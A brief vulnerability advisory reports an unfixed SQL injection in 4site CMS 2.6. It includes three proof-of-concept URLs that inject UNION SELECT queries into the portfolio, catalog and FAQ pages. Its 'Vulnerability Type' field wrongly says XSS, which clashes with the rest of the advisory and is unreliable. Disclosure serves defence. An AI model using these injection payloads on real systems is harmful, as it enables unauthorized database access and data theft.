SQL Injection in 4site CMS

Vulnerability ID: HTB22639
Reference: http://www.htbridge.ch/advisory/sql_injection_in_4site_cms.html
Product: 4site CMS
Vendor: Method Lab ( http://www.4site.ru/ )
Vulnerable Version: 2.6 and probably prior versions
Vendor Notification: 05 October 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "Catalog", "FAQ" and "Goods" modules to properly sanitize user-supplied input.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

http://host/portfolio/index.shtml?s=8&i=-1+UNION+SELECT+1,user(),@@version,4,5,6,7,8,9
http://host/catalog/index.shtml?cat=-1+UNION+SELECT+@@version
http://host/faq/index.shtml?th=-1+UNION+SELECT+@@version